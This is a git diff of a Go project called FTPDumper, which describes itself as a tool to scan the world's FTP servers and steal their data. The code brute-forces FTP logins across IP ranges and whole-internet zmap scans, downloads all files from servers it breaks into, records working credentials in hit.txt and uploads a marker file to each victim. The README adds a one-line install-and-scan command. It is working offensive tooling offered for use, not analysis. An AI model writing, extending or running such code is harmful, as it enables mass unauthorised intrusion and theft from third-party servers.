diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..90fb642 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,71 @@ +name: Build and Release + +on: + push: + branches: + - master + +jobs: + release: + name: Create Release + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Auto Increment Semver Action + uses: MCKanpolat/auto-semver-action@v1 + id: versioning + with: + releaseType: patch + incrementPerCommit: true + github_token: ${{ secrets.GITHUB_TOKEN }} + + - name: Next Release Number + run: echo ${{ steps.versioning.outputs.version }} + + - name: Create Release + id: create_release + uses: actions/create-release@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + tag_name: ${{ steps.versioning.outputs.version }} + release_name: Release ${{ steps.versioning.outputs.version }} + body: | + Automatically created release by GitHub Actions + draft: false + prerelease: false + + outputs: + upload_url: ${{ steps.create_release.outputs.upload_url }} + version: ${{ steps.versioning.outputs.version }} + + + build: + name: Build and Upload + needs: release + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-go@v5 + with: + go-version: '1.22.2' + check-latest: true + + - name: Build + run: go build -o FTPDumper + + - name: Upload binary file + uses: softprops/action-gh-release@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + files: FTPDumper + + +permissions: + contents: write + packages: write \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..23b6a3a --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +FTPDumper +.idea +*.txt +*.exe +go.sum \ No newline at end of file diff --git a/CIDRManager/Manager.go b/CIDRManager/Manager.go index fda56eb..2d6c3b8 100644 --- a/CIDRManager/Manager.go +++ b/CIDRManager/Manager.go @@ -58,7 +58,10 @@ func (c *CIDRManager) GetRandomIP() (string, error) { } for { - ip := c.Ipv4Min + rand.Uint32()%(c.Ipv4Max-c.Ipv4Min+1) + // Generate a random number within the range of the CIDR size + randomIndex := rand.Intn(c.Size) + ip := c.Ipv4Min + uint32(randomIndex) + ipParsed := c.Uint32ToIP(ip) if !c.IsUsed(ip) { c.SetUsed(ip) @@ -81,5 +84,9 @@ func (c *CIDRManager) IPToUInt32(ip string) uint32 { func CountIPsInCIDR(ipNet *net.IPNet) int { maskSize, _ := ipNet.Mask.Size() + if maskSize == 0 { + return 1 << 32 // 2^32 = 4,294,967,296 + } + return 1 << (32 - maskSize) } diff --git a/Core/core.go b/Core/core.go new file mode 100644 index 0000000..da7dca2 --- /dev/null +++ b/Core/core.go @@ -0,0 +1,165 @@ +package Core + +import ( + "FTPDumper/Utility" + "bytes" + "errors" + "fmt" + "github.com/integrii/flaggy" + "os" + "strings" + "time" + "unicode" +) + +var ( + Scanner = "stdin" + Users []string + Passwords []string + Ports []string + FileFormats []string + Limit = 10 + SaveCredentials = false + Verbose = false + Timeout = time.Second * 5 + CredFile *Utility.MutexWriter + OutputFolder = "files" + Type EscannerType + Counter = Utility.NewCounter() + DumperText = bytes.NewReader([]byte("Fix your server credentials\n" + + "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n")) +) + +var ( + TimeoutErr = errors.New("timeout Error") + BadCredErr = errors.New("bad Credentials") +) + +func init() { + Counter.Born("Total") + Counter.Born("BadCred") + Counter.Born("Success") + Counter.Born("Stolen") + + flaggy.SetName("FTPDumper") + flaggy.SetDescription("Scan World FTP Servers and Steal Their Data") + flaggy.SetVersion("0.0.1") + + flaggy.String(&Scanner, "scan", "scanner", "Ip/CIDR scanner (stdin|filename|cidr|ip)") + + comboFile := "" + flaggy.String(&comboFile, "c", "combo", "Combo File (user:password)") + + ports := "" + flaggy.String(&ports, "p", "ports", "Ports Split by , (Default Port: 21)") + + flaggy.String(&OutputFolder, "o", "output", "Output Folder") + + fileFormats := "" + flaggy.String(&fileFormats, "f", "formats", "File Formats Split by , (Default Format: all)") + + flaggy.Int(&Limit, "l", "limit", "Task limit") + + flaggy.Duration(&Timeout, "t", "timeout", "Timeout in seconds") + + flaggy.Bool(&SaveCredentials, "s", "save", "Save Credentials in hit.txt") + flaggy.Bool(&Verbose, "v", "verbose", "Verbose Mode") + + flaggy.Parse() + + switch Scanner { + case "stdin": + if !Utility.IsInPipeline() { + fmt.Println("Please pipe input to the program, or use -s file/cidr") + os.Exit(1) + } + Type = ESTDIN + + default: + if Utility.IsCIDRv4(Scanner) { + Type = ECIDR + } else if Utility.IsIPv4(Scanner) { + Type = EIP + } else if Utility.FileExists(Scanner) { + Type = EFILE + } else { + fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip") + os.Exit(1) + } + } + + if Utility.FileExists(comboFile) { + combos, err := Utility.ReadFileLines(comboFile) + if err != nil { + fmt.Println(err) + os.Exit(1) + } + + if len(combos) < 1 { + fmt.Println("Combo file is empty") + os.Exit(1) + } + + for _, combo := range combos { + userPass := strings.Split(combo, ":") + if len(userPass) == 2 { + Users = append(Users, userPass[0]) + Passwords = append(Passwords, userPass[1]) + } + } + } else { + Users = []string{"anonymous"} + Passwords = []string{"anonymous"} + } + + if len(Users) < 1 || len(Passwords) < 1 { + fmt.Println("Combo file Does not contain any credential with user:password format") + os.Exit(1) + } + + if ports != "" { + portsSplited := strings.Split(ports, ",") + for _, port := range portsSplited { + for _, r := range port { + if !unicode.IsDigit(r) { + fmt.Printf("Invalid Port on -p Argument, Port: \"%s\"", port) + os.Exit(1) + } + } + Ports = append(Ports, port) + } + } else { + Ports = []string{"21"} + } + + if fileFormats != "" { + fileFormatsSplited := strings.Split(fileFormats, ",") + FileFormats = fileFormatsSplited + } + + if !Utility.FolderExists(OutputFolder) { + err := Utility.CreateFolder(OutputFolder) + if err != nil { + fmt.Printf("Failed to create output folder: %s\n", err) + os.Exit(1) + } + } + + if SaveCredentials { + if !Utility.FileExists("hit.txt") { + err := Utility.CreateFile("hit.txt") + if err != nil { + fmt.Printf("Failed to create hit.txt: %s\n", err) + os.Exit(1) + } + } + + file, err := os.OpenFile("hit.txt", os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + fmt.Printf("Failed to open hit.txt: %s\n", err) + os.Exit(1) + } + + CredFile = Utility.NewMutexWriter(file) + } +} diff --git a/Core/reader.go b/Core/reader.go index 065bf45..835da89 100644 --- a/Core/reader.go +++ b/Core/reader.go @@ -3,6 +3,7 @@ package Core import "C" import ( "FTPDumper/CIDRManager" + "FTPDumper/Utility" "bufio" "errors" "io" @@ -31,11 +32,6 @@ type StdinReader struct { scanner *bufio.Scanner } -type FileReader struct { - file *os.File - reader *bufio.Reader -} - type CIDRReader struct { sync.Mutex Cidrs []*CIDRManager.CIDRManager @@ -48,7 +44,7 @@ func NewReader(scanner string, method EscannerType) IReader { return &StdinReader{scanner: bufio.NewScanner(os.Stdin)} case EFILE: file, _ := os.Open(scanner) - return &FileReader{file: file, reader: bufio.NewReader(file)} + return NewFileReader(bufio.NewReader(file)) case ECIDR: reader := &CIDRReader{ Cidrs: make([]*CIDRManager.CIDRManager, 0), @@ -61,12 +57,35 @@ func NewReader(scanner string, method EscannerType) IReader { reader.CidrsLen = len(reader.Cidrs) return reader case EIP: - return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner))} + return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner + "\n"))} } return nil } +func NewFileReader(reader *bufio.Reader) *CIDRReader { + cidrs := make([]*CIDRManager.CIDRManager, 0) + for { + line, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + break + } + return nil + } + + line = strings.TrimSpace(line) + + if !Utility.IsCIDRv4(line) { + continue + } + + cidrs = append(cidrs, CIDRManager.NewCIDR(line)) + } + + return &CIDRReader{Cidrs: cidrs, CidrsLen: len(cidrs)} +} + func (r *StdinReader) Next() (string, error) { if r.scanner.Scan() { return r.scanner.Text(), nil @@ -81,21 +100,6 @@ func (r *StdinReader) Close() { r.scanner = nil } -func (r *FileReader) Next() (string, error) { - line, err := r.reader.ReadString('\n') - if err != nil { - if err == io.EOF { - return "", io.EOF - } - return "", err - } - return strings.TrimSpace(line), nil -} - -func (r *FileReader) Close() { - r.file.Close() -} - func (c *CIDRReader) Next() (string, error) { c.Lock() defer c.Unlock() diff --git a/Dumper/dumper.go b/Dumper/dumper.go new file mode 100644 index 0000000..5b291b7 --- /dev/null +++ b/Dumper/dumper.go @@ -0,0 +1,87 @@ +package Dumper + +import ( + "FTPDumper/Core" + "FTPDumper/Utility" + "FTPDumper/ftp" + "crypto/sha256" + "encoding/hex" + "fmt" + "os" +) + +func Try(address, port, user, password string) error { + Core.Counter.Increment("Total") + client := ftp.NewFTPClient(user, password) + err := client.Connect(fmt.Sprintf("%s:%s", address, port)) + if err != nil { + return Core.TimeoutErr + } + + defer client.Disconnect() + + err = client.Login() + if err != nil { + return Core.BadCredErr + } + + Core.Counter.Increment("Success") + if Core.Verbose { + fmt.Printf("\033[32m[SUCCESS] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) + } + + if Core.SaveCredentials { + _, _ = Core.CredFile.Write([]byte(fmt.Sprintf("%s:%s@%s:%s\n", address, port, user, password))) + } + + files, err := client.GetFiles() + if err != nil { + if Core.Verbose { + fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) + } + return err + } + + sprintf := fmt.Sprintf("%s/%s", Core.OutputFolder, address) + + for _, file := range files { + if len(Core.FileFormats) > 0 && !Utility.SuffixAny(file.Name, Core.FileFormats) { + continue + } + + Core.Counter.Increment("Stolen") + + hash := sha256.Sum256([]byte(file.Name)) + hexed := hex.EncodeToString(hash[:]) + tempPath := fmt.Sprintf("%s/%s.ftpdumper", os.TempDir(), hexed) + + err = client.DownloadFile(tempPath, file.Name) + if err != nil { + if Core.Verbose { + fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) + } + continue + } + + if stat, err := os.Stat(tempPath); err != nil || stat.Size() < 1 { + _ = os.Remove(tempPath) + continue + } + + if !Utility.FolderExists(sprintf) { + err = Utility.CreateFolder(sprintf) + if err != nil { + continue + } + } + + err := os.Rename(tempPath, fmt.Sprintf("%s/%s/%s", Core.OutputFolder, address, file.Name)) + if err != nil { + return err + } + } + + _ = client.UploadFile("FTPDUMPER.txt", Core.DumperText) + + return nil +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..163ac7c --- /dev/null +++ b/README.md @@ -0,0 +1,126 @@ +

logo

+

FTPDumper - A FTP Servers Stealer

+ + +

+FTPDumper forks +GitHub Repo stars +

View +

+ +___ + +

features

+ +## 🔍 Overview + +- 🚀 [Quickstart](#-quickstart) +- ⚙️ [Arguments](#-arguments) +- 👨‍💻 [Best Way to get a server](#-best-way-to-get-a-server) + +# 🚀 Quickstart + +--- + +#### One-Line Install And Running on Fresh VPS +```bash +apt update && apt install -y zmap && wget -q $(curl -s https://api.github.com/repos/MatrixTM/FTPDumper/releases/latest | grep browser_download_url | grep "FTPDumper" | cut -d '"' -f 4) && chmod +x FTPDumper && zmap -p 21 -B 50MB -q | ./FTPDumper -l 5000 +``` + +
+ 🔧 Manual Installation +

1. Download FTPDumper

+

Download FTPDumper from Releases

+ +

2. Set Up Permission

+ +Set up permission to FTPDumper binary file. +```bash +chmod +x FTPDumper +``` + +

3. Run FTPDumper

+ +You have a few ways to use FTPDumper. + +- Zmap + - Download Zmap + ```bash + sudo apt install zmap + ``` + - Run FTPDumper (Zmap) + ```bash + zmap -p 21 -q | ./FTPDumper -l 500 -save + ``` + - Run FTPDumper (DevWay) + ```bash + ./FTPDumper -l 500 -save -s 0.0.0.0/0 + ``` + Check out [Arguments](#-arguments) to see more +
+ +--- + +# ⚙️ Arguments + +```bash +MatrixTM@FTPDumper: ./FTPDumper --help +FTPDumper - Scan World FTP Servers and Steal Their Data + + Flags: + --version Displays the program version string. + -h --help Displays help with available flag, subcommand, and positional value parameters. + -scan --scanner Ip/CIDR scanner (stdin|filename|cidr|ip) (default: stdin) + -c --combo Combo File (user:password) + -p --ports Ports Split by , (Default Port: 21) + -o --output Output Folder (default: files) + -f --formats File Formats Split by , (Default Format: all) + -l --limit Task limit (default: 10) + -t --timeout Timeout in seconds (default: 5s) + -s --save Save Credentials in hit.txt + -v --verbose Verbose Mode +``` + +| Argument | Description | Default Value | +|------------------|---------------------------------------------------------------------------------|:-------------:| +| --version | Displays the program version string. | None | +| -h, --help | Displays help with available flag, subcommand, and positional value parameters. | None | +| -scan, --scanner | IP/CIDR scanner [stdin\|filename\|cidr\|ip] stdin | stdin | +| -c, --combo | Combo File (user:password) | anonymous | +| -p, --ports | Ports Split by , | 21 | +| -o, --output | Output Folder files | files | +| -f, --formats | File Formats Split by , | all | +| -l, --limit | Task limit | 10 | +| -t, --timeout | Timeout in seconds | 5s | +| -s, --save | Save Credentials in hit.txt | False | +| -v, --verbose | Verbose Mode | False | +--- + +# 👨‍💻 Best Way to get a server + +aeza +##### For this subject, the best hosting I found is [Aeza](https://aeza.net/?ref=375036 "Aeza Hosting") +##### You Can buy hourly 10Gbps & Ryzen 9 Servers with a cheap price + + +## Star history + +--- + + + + Star History Chart + \ No newline at end of file diff --git a/Utility/Counter.go b/Utility/Counter.go new file mode 100644 index 0000000..402913e --- /dev/null +++ b/Utility/Counter.go @@ -0,0 +1,36 @@ +package Utility + +import "sync/atomic" + +type Counter struct { + Counters map[string]*atomic.Int64 +} + +type ICounter interface { + Born(key string) + Increment(key string) + Get(key string) int64 + Add(key string, value int64) +} + +func NewCounter() ICounter { + return &Counter{ + Counters: make(map[string]*atomic.Int64), + } +} + +func (c *Counter) Born(key string) { + c.Counters[key] = new(atomic.Int64) +} + +func (c *Counter) Increment(key string) { + c.Counters[key].Add(1) +} + +func (c *Counter) Add(key string, value int64) { + c.Counters[key].Add(value) +} + +func (c *Counter) Get(key string) int64 { + return c.Counters[key].Load() +} diff --git a/Utility/io.go b/Utility/io.go new file mode 100644 index 0000000..7936b61 --- /dev/null +++ b/Utility/io.go @@ -0,0 +1,86 @@ +package Utility + +import ( + "bufio" + "io" + "os" + "strings" + "sync" +) + +func ReadFileLines(filename string) ([]string, error) { + file, err := os.Open(filename) + if err != nil { + return nil, err + } + defer file.Close() + + var lines []string + scanner := bufio.NewScanner(file) + for scanner.Scan() { + lines = append(lines, strings.TrimSpace(scanner.Text())) + } + + return lines, scanner.Err() +} + +func FileExists(filename string) bool { + info, err := os.Stat(filename) + if os.IsNotExist(err) { + return false + } + return !info.IsDir() +} + +func CreateFile(filename string) error { + file, err := os.Create(filename) + if err != nil { + return err + } + defer file.Close() + return nil +} + +func FolderExists(folder string) bool { + info, err := os.Stat(folder) + if os.IsNotExist(err) { + return false + } + return info.IsDir() +} + +func CreateFolder(folder string) error { + err := os.MkdirAll(folder, 0755) + if err != nil { + return err + } + return nil +} + +type MutexWriter struct { + *sync.RWMutex + writer io.Writer +} + +func NewMutexWriter(writer io.Writer) *MutexWriter { + return &MutexWriter{ + RWMutex: new(sync.RWMutex), + writer: writer, + } +} + +func (w *MutexWriter) Write(p []byte) (n int, err error) { + w.RWMutex.Lock() + defer w.RWMutex.Unlock() + return w.writer.Write(p) +} + +func (w *MutexWriter) Close() { + w.RWMutex.Lock() + defer w.RWMutex.Unlock() + w.writer = nil +} + +func (w *MutexWriter) GetWriter() io.Writer { + return w.writer +} diff --git a/Utility/utility.go b/Utility/utility.go index fbbac90..e8c34a3 100644 --- a/Utility/utility.go +++ b/Utility/utility.go @@ -1,7 +1,6 @@ package Utility import ( - "bufio" "net" "os" "strings" @@ -22,42 +21,11 @@ func IsIPv4(s string) bool { return ip != nil && ip.To4() != nil } -func ReadFileLines(filename string) ([]string, error) { - file, err := os.Open(filename) - if err != nil { - return nil, err +func SuffixAny(s string, suffixes []string) bool { + for _, e := range suffixes { + if strings.HasSuffix(s, e) { + return true + } } - defer file.Close() - - var lines []string - scanner := bufio.NewScanner(file) - for scanner.Scan() { - lines = append(lines, strings.TrimSpace(scanner.Text())) - } - - return lines, scanner.Err() -} - -func FileExists(filename string) bool { - info, err := os.Stat(filename) - if os.IsNotExist(err) { - return false - } - return !info.IsDir() -} - -func FolderExists(folder string) bool { - info, err := os.Stat(folder) - if os.IsNotExist(err) { - return false - } - return info.IsDir() -} - -func CreateFolder(folder string) error { - err := os.MkdirAll(folder, 0755) - if err != nil { - return err - } - return nil + return false } diff --git a/ftp/ftp.go b/ftp/ftp.go index 7e848db..75c3023 100644 --- a/ftp/ftp.go +++ b/ftp/ftp.go @@ -2,16 +2,18 @@ package ftp import ( "github.com/jlaffaye/ftp" + "io" "os" "time" ) type Client interface { - Connect() error + Connect(address string) error Login() error Disconnect() error - GetFiles() error - UploadFile(filePath string) ([]File, error) + GetFiles() ([]File, error) + DownloadFile(output, filePath string) error + UploadFile(fileName string, reader io.Reader) error } type FTP struct { @@ -25,7 +27,7 @@ type File struct { Size int64 } -func NewFTPClient(username, password string) *FTP { +func NewFTPClient(username, password string) Client { f := &FTP{ Username: username, Password: password, @@ -38,7 +40,7 @@ func NewFTPClient(username, password string) *FTP { // // It takes the server address as a parameter and returns an error. func (f *FTP) Connect(address string) error { - conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5)) + conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5)) // make timeout in args if err != nil { return err } @@ -51,7 +53,12 @@ func (f *FTP) Connect(address string) error { // Login logs the FTP client into the server. // It takes no parameters and returns an error. func (f *FTP) Login() error { - return f.conn.Login(f.Username, f.Password) + err := f.conn.Login(f.Username, f.Password) + if err != nil { + return err + } + + return nil } // Disconnect closes the FTP connection. @@ -66,12 +73,6 @@ func (f *FTP) Disconnect() error { // // No parameters. It returns a slice of File struct and an error. func (f *FTP) GetFiles() ([]File, error) { - //// Retrieve the current directory from the FTP server - //dir, err := f.conn.CurrentDir() - //if err != nil { - // return nil, err - //} - // List the files in the retrieved directory list, err := f.conn.List(".") if err != nil { @@ -84,7 +85,7 @@ func (f *FTP) GetFiles() ([]File, error) { // Iterate through the list of files and retrieve file size for i, file := range list { fileSize, err := f.conn.FileSize(file.Name) - if err != nil { + if err != nil || fileSize < 1 { continue } // Populate the File struct with file name and size @@ -100,28 +101,40 @@ func (f *FTP) GetFiles() ([]File, error) { // DownloadFile downloads a file from an FTP server. // -// filePath specifies the path of the file to be downloaded. +// Parameters: +// - output: the path where the downloaded file will be saved. +// - filePath: the path of the file to be downloaded from the FTP server. +// // Returns an error if any occurs during the download process. -func (f *FTP) DownloadFile(filePath string) error { - // Store the file from the FTP server - _, err := f.conn.Retr(filePath) - return err -} +func (f *FTP) DownloadFile(output, filePath string) error { + // Retrieve the file from the FTP server + reader, err := f.conn.Retr(filePath) + if err != nil { + return err + } -// UploadFile uploads a file to an FTP server. -// -// filePath specifies the path of the file to be uploaded. -// Returns an error if any occurs during the upload process. -func (f *FTP) UploadFile(filePath string) error { - // Open the file - file, err := os.Open(filePath) + // Ensure the reader is closed after the function returns + defer reader.Close() + + // Create the output file + file, err := os.Create(output) if err != nil { return err } - // Ensure the file is closed after the function returns + // Ensure the output file is closed after the function returns defer file.Close() - // Store the file on the FTP server - return f.conn.Stor(filePath, file) + // Copy data from the FTP server reader to the output file + _, err = io.Copy(file, reader) + if err != nil { + return err + } + + return nil +} + +// UploadFile uploads a file to the FTP server. +func (f *FTP) UploadFile(fileName string, reader io.Reader) error { + return f.conn.Stor(fileName, reader) } diff --git a/go.mod b/go.mod index bceaf79..85f2c70 100644 --- a/go.mod +++ b/go.mod @@ -1,9 +1,8 @@ module FTPDumper -go 1.22.1 +go 1.22.2 require ( - github.com/apsdehal/go-logger v0.0.0-20190515212710-b0d6ccfee0e6 github.com/integrii/flaggy v1.5.2 github.com/jlaffaye/ftp v0.2.0 ) diff --git a/main.go b/main.go index e2d9272..e0101d0 100644 --- a/main.go +++ b/main.go @@ -2,160 +2,60 @@ package main import ( "FTPDumper/Core" - "FTPDumper/Utility" - "FTPDumper/ftp" + "FTPDumper/Dumper" + "errors" "fmt" - "github.com/apsdehal/go-logger" - "github.com/integrii/flaggy" - "os" - "strings" - "unicode" + "time" ) -var ( - Scanner = "stdin" - Users []string - Passwords []string - Ports []string - Limit = 10 - OutputFolder = "files" - Type Core.EscannerType - log *logger.Logger -) - -func init() { - var err error - log, err = logger.New("FTPDumper", 1, os.Stdout) - if err != nil { - fmt.Println(err) - os.Exit(1) - } - - flaggy.SetName("FTPDumper") - flaggy.SetDescription("FTP Dumper") - flaggy.SetVersion("0.0.1") - - flaggy.Int(&Limit, "l", "limit", "Task limit") - flaggy.String(&Scanner, "s", "scanner", "Ip/CIDR scanner [stdin|filename|cidr|ip]") - - usersFile := "" - flaggy.String(&usersFile, "user", "users", "Users file [Default User: anonymous]") - - passwordsFile := "" - flaggy.String(&passwordsFile, "pass", "passwords", "Passwords file [Default Password: anonymous]") - - ports := "" - flaggy.String(&ports, "p", "ports", "Ports Splited by , [Default Port: 21]") - - flaggy.String(&OutputFolder, "o", "output", "Output Folder") - - flaggy.Parse() - - switch Scanner { - case "stdin": - if !Utility.IsInPipeline() { - fmt.Println("Please pipe input to the program, or use -s file/cidr") - os.Exit(1) - } - Type = Core.ESTDIN - - default: - if Utility.IsCIDRv4(Scanner) { - Type = Core.ECIDR - } else if Utility.IsIPv4(Scanner) { - Type = Core.EIP - } else if Utility.FileExists(Scanner) { - Type = Core.EFILE - } else { - fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip") - os.Exit(1) - } - } - - if Utility.FileExists(usersFile) { - users, err := Utility.ReadFileLines(usersFile) - if err != nil { - fmt.Println(err) - os.Exit(1) - } +func main() { + fmt.Println("Starting FTP Dumper...") - Users = users - } else { - Users = []string{"anonymous"} + if Core.Verbose { + fmt.Println("Setting up reader") } + reader := Core.NewReader(Core.Scanner, Core.Type) - if Utility.FileExists(passwordsFile) { - passwords, err := Utility.ReadFileLines(passwordsFile) - if err != nil { - fmt.Println(err) - os.Exit(1) - } - - Passwords = passwords - } else { - Passwords = []string{"anonymous"} + if Core.Verbose { + fmt.Println("Setting up pool") } + pool := Core.New(Core.Limit) + pool.Start() + defer pool.Stop() - if ports != "" { - portsSplited := strings.Split(ports, ",") - for _, port := range portsSplited { - for _, r := range port { - if !unicode.IsDigit(r) { - fmt.Println("Invalid Port") - os.Exit(1) - } - } - Ports = append(Ports, port) - } - } else { - Ports = []string{"21"} + if Core.Verbose { + fmt.Printf("Limit: %d\n", Core.Limit) + fmt.Printf("Output Folder: %s\n", Core.OutputFolder) + fmt.Printf("Scanner: %s\n", Core.Scanner) } - if !Utility.FolderExists(OutputFolder) { - err := Utility.CreateFolder(OutputFolder) - if err != nil { - fmt.Println(err) - os.Exit(1) + go func() { + for { + fmt.Printf("\033[33mAttemp: [%d] \033[97m|\033[32m Success: [%d] \033[97m|\033[91m BadCred: [%d] \033[97m|\u001B[96m Stolen: [%d]\n", Core.Counter.Get("Total"), Core.Counter.Get("Success"), Core.Counter.Get("BadCred"), Core.Counter.Get("Stolen")) + time.Sleep(time.Second) } - } -} - -func main() { - reader := Core.NewReader(Scanner, Type) - pool := Core.New(Limit) - - pool.Start() - defer pool.Stop() + }() for next, err := reader.Next(); next != "" && err == nil; next, err = reader.Next() { pool.Submit(func() { - for _, user := range Users { - for _, password := range Passwords { - client := ftp.NewFTPClient(user, password) - fmt.Printf("Connecting to %s | User: %s | Password: %s\n", next, user, password) - err = client.Connect(fmt.Sprintf("%s:%s", next, Ports[0])) - if err != nil { - return - } - - err = client.Login() - if err != nil { - continue - } - - fmt.Printf("Successfully connected to %s | User: %s | Password: %s\n", next, user, password) - - files, err := client.GetFiles() - if err != nil { - return + for _, port := range Core.Ports { + for _, user := range Core.Users { + for _, password := range Core.Passwords { + err := Dumper.Try(next, port, user, password) + if errors.Is(err, Core.TimeoutErr) { + return + } + if errors.Is(err, Core.BadCredErr) { + Core.Counter.Increment("BadCred") + } + + if err == nil { + return + } } - - for _, file := range files { - fmt.Printf("- Name: %s | Size: %dB", file.Name, file.Size) - } - os.Exit(0) } } + }) } }